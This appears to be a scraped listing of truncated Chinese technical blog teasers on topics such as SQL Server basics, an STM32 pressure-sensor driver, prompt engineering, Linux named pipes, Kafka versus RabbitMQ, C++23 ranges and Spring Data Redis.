实验报告&#xff08;第 1 次&#xff09; 实验名称 SQL SERVER 2008的基本操作 实验时间 9月14日1-2节 一、实验内容 数据库的基本操作:包括创建、修改、附加、分离和删除数据库等。 二、源程序及主要算法说明 本次实验不涉及程序和算法。 三、测…...

基于STM32、HAL库的ICP-20100气压传感器 驱动程序设计

一、简介: ICP-20100 是 InvenSense(TDK 集团旗下公司)生产的一款高精度数字气压传感器,专为需要精确测量气压和海拔高度的应用场景设计。它具有低功耗、高精度、快速响应等特点,非常适合物联网、可穿戴设备和无人机等应用。 二、硬件接口: ICP-20100 引脚STM32L4XX 引脚…...

提示工程实战指南:Google白皮书关键内容一文讲清

You don’t need to be a data scientist or a machine learning engineer – everyone can writea prompt. 一、概述 Google于2025年2月发布的《Prompt Engineering》白皮书系统阐述了提示工程的核心技术、实践方法及挑战应对策略。该文档由Lee Boonstra主编&#xff0c;多位…...

国产大模型「五强争霸」:决战AGI,谁主沉浮?

引言 中国AI大模型市场正经历一场史无前例的洗牌&#xff01;曾经“百模混战”的局面已落幕&#xff0c;字节、阿里、阶跃星辰、智谱和DeepSeek五大巨头强势崛起&#xff0c;形成“基模五强”新格局。这场竞争不仅是技术实力的较量&#xff0c;更是资源、人才与生态的全面博弈。…...

Linux进程10-有名管道概述、创建、读写操作、两个管道进程间通信、读写规律(只读、只写、读写区别)、设置阻塞/非阻塞

目录 1.有名管道 1.1概述 1.2与无名管道的差异 2.有名管道的创建 2.1 直接用shell命令创建有名管道 2.2使用mkfifo函数创建有名管道 3.有名管道读写操作 3.1单次读写 3.2多次读写 4.有名管道进程间通信 4.1回合制通信 4.2父子进程通信 5.有名管道读写规律&#xff…...

高吞吐与低延迟的博弈:Kafka与RabbitMQ数据管道实战指南

摘要 本文全面对比Apache Kafka与RabbitMQ在数据管道中的设计哲学、核心差异及协同方案。结合性能指标、应用场景和企业级实战案例&#xff0c;揭示Kafka在高吞吐流式处理中的优势与RabbitMQ在复杂路由和低延迟传输方面的独特特点&#xff1b;介绍了使用Java生态成熟第三方库&…...

C++23 views::slide (P2442R1) 深入解析

文章目录 引言C20 Ranges库回顾什么是Rangesstd::views的作用 views::slide 概述基本概念原型定义辅助概念工作原理代码示例输出结果 views::slide 的应用场景计算移动平均值查找连续的子序列 总结 引言 在C的发展历程中&#xff0c;每一个新版本都会带来一系列令人期待的新特…...

SpringDataRedis的入门案例,以及RedisTemplate序列化实现

目录 SpringDataRedis 简单介绍 入门案例 RedisTemplate序列化方案 方案一: 方案二: SpringDataRedis 简单介绍 提供了对不同Redis客户端的整合(Lettuce和Jedis) 提供了RedisTemplate统一API来操作Redis 支持Redis的发布订阅模型 支持Redis哨兵和Redis集群 支持基于…...